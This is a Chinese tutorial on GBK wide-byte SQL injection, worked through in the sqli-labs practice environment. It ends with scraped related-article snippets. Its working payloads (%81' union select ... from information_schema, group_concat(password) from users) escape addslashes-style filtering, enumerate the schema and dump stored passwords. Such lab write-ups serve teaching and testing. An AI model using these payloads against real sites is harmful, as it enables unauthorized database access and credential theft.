0x00 概述

- 什么是宽字节注入?

宽字节注入就是因为gbk编码方式需要两个ascii码组合来解码,所以形象的叫做宽字节,这个作为了解即可

-宽字节注入的条件

1) 数据库查询设置为GBK编码

2) 使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()这类的过滤函数

- 宽字节注入的原理

假设我们传递一个参数id=1’,当我们输入这个单引号的时候,那么会被认为是非法的字符,会被过滤函数添加“/”给过滤掉,所以我们想要程序接受我们传递的参数里面包含单引号,那么就需要把这个转义字符“/”给干掉,那如何才能干掉?当http协议传输的时候,要经过url编码的,如果这个编码完成后,传递到服务器时,有奇数个数,它会把前面偶数个数的字符当作gbk编码去解码,那么剩下的就当作普通的url去编码,所以我们就可以在单引号之前添加一个%81这样的编码,这样当最后解码的时候,这个%81就会和“/”对应的编码相结合按照gbk的要求去解码,最后就只剩下个单引号,也就得到了我们想要的结果!

0x01 利用sqli-lab的实验环境实现宽字节注入

下载传送门:https://github.com/Audi-1/sqli-labs

0x02 实战演练

1、首先观察正常访问的页面

2、给参数1后面添加一个单引号,观察页面变化:可以看到单引号前面多了一个\的转义字符,那么可以判断后台在处理参数的时候使用了过滤函数进行转义过滤

3、根据之前原理的分析,利用gbk编码的特性来试一下,在‘前面增加一个%81的编码

4、上一步好像那样做过后也没看出什么异常,只是多了一个不认识的符号,这应该是和浏览器页面的编码方式有关,由于我利用的是gbk编码的特性,所以我把页面的编码改成gbk再来看看效果

那么其实更改编码过后,之前的转义符其实就是和%81结合按照gbk的解码方式变成了一个汉字,所以我们输入的单引号就得以逃过过滤函数的转义

5、那么弄明白上面的问题过后,就可以开始一步步的去构造sql语句去查询数据库里面的信息了,在这里选择通过结合union联合查询来注入

1)由于联合查询需要满足列相同,以及类型相似,所以需要先判断一下

构造的sql语句:1%81' union select 1--+

报了列不匹配的错误,那么继续增加,直到不报错为止如下:

当sql语句:1%81' union select 1,3,2--+ 时就没有报错了,说明列匹配了

3)注入得到数据库名字:security

构造的sql语句:%81' union select 1,user(),database()--+

4得到数据库里面的表名:emails,referers,uagents,users

构造的sql语句:%81' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database()--+

5)得到数据库的表里面的列名,这里以user来演示

构造的sql语句:%81' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='user'--+

当我这样做的时候,发现报错了,我的table_name的参数使用了引号,那这里的这个引号如何处理呢?我尝试了一下,利用前面的方法不行,所以这里就只能将user进行16进制转码来解决,也就是将‘user’使用0x 75736572来代替;75736572对应的就是user

更改后的sql语句:最后我又添加了一个数据库名的条件,因为只要那个数据库里的users的字段

%81' union select 1,group_concat(column_name),1 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+

最后得到的列名就是:id,username,password

6)得到数据库名,得到表名字和列名字,那么再继续得到数据的内容就跟容易了,如下:

构造的sql语句:%81' union select 1,group_concat(password),1 from users--+

最后成功得到users表里面的PASSWORD字段的数据如下:

Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

SQL宽字节注入的更多相关文章

  1. sql宽字节注入,绕过单引号

    参加下面: http://leapar.lofter.com/post/122a03_3028a9 http://huaidan.org/archives/2268.html https://ilia ...

  2. PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击

    首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它. mysql_real_escape_string() 和 ...

  3. SQL注入--宽字节注入

    PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...

  4. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

    0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...

  5. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  6. SQL注入:宽字节注入

    了解GBK编码 尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的 ...

  7. CTF—WEB—sql注入之宽字节注入

     宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...

  8. GBK宽字节注入SQL

    SQL注入:宽字节注入(GBK双字节绕过) 2015-06-09lyiang 宽字节注入的作用是非常大的,实际上在代码层的防御一般不外乎两种,一是反斜杠转义,而就是replace替换成空字节,之前的替 ...

  9. SQL注入篇二------利用burp盲注,post注入,http头注入,利用burpsuit找注入点,宽字节注入

    1.布尔盲注burpsuit的使用 先自己构造好注入语句,利用burpsuit抓包,设置变量,查出想要的信息. 比如----查数据库名的ascii码得到数据库构造好语句 http://123.206. ...

随机推荐

  1. Android Proguard使用技巧

    1.混淆后解码 ProGuard运行结束后,输出以下文件: dump.txt :描述.apk文件中所有类文件间的内部结构 mapping.txt:列出了原始的类,方法和字段名与混淆后代码间的映射.这个 ...

  2. ZT 线程的分离状态 2012-08-16 17:00:59

    线程的分离状态 2012-08-16 17:00:59 分类: LINUX 其实在写上一篇日志的时候,由于我把创建线程的返回值的判断条件写错了,程序每次运行的时候都是显示创建线程失败,我就百度了一下, ...

  3. DQL、DML、DDL、DCL概念与区别

    SQL(Structure Query Language)语言是数据库的核心语言. SQL的发展是从1974年开始的,其发展过程如下:1974年-----由Boyce和Chamberlin提出,当时称 ...

  4. python process,queue

    #-*- coding:utf-8 -*- from multiprocessing import Process,Queue import os,time,random def write(q): ...

  5. HTML5本地存储——IndexedDB

    在HTML5本地存储——Web SQL Database提到过Web SQL Database实际上已经被废弃,而HTML5的支持的本地存储实际上变成了 Web Storage(Local Stora ...

  6. C#回调实现的一般过程

    C#回调实现的一般过程 C#的方法回调机制,是建立在委托基础之上的,下面给出它的典型实现过程. (一) 定义.声明回调 Delegate void DoSomeCallBack(type para); ...

  7. 关于easyui表格右侧多出来的那一列。

    关于easyui表格右侧多出来的那一列,如下图,是给滚动条预留的位置,easyui表格默认就有的. 如果想要不显示:打开jQuery.easyui.min.js文件,找到wrap.width();所在 ...

  8. POJ 1157 LITTLE SHOP OF FLOWERS (超级经典dp,两种解法)

    You want to arrange the window of your flower shop in a most pleasant way. You have F bunches of flo ...

  9. POJ 2524 独一无二的宗教(裸并查集)

    题目链接: http://poj.org/problem?id=2524 Ubiquitous Religions Time Limit: 5000MS   Memory Limit: 65536K ...

  10. Java上机试题1

    1. 有一串字符串String s = "ababab", 这个字符串可以看做由3个"ab"构成,即n=3, L = "ab", s = n ...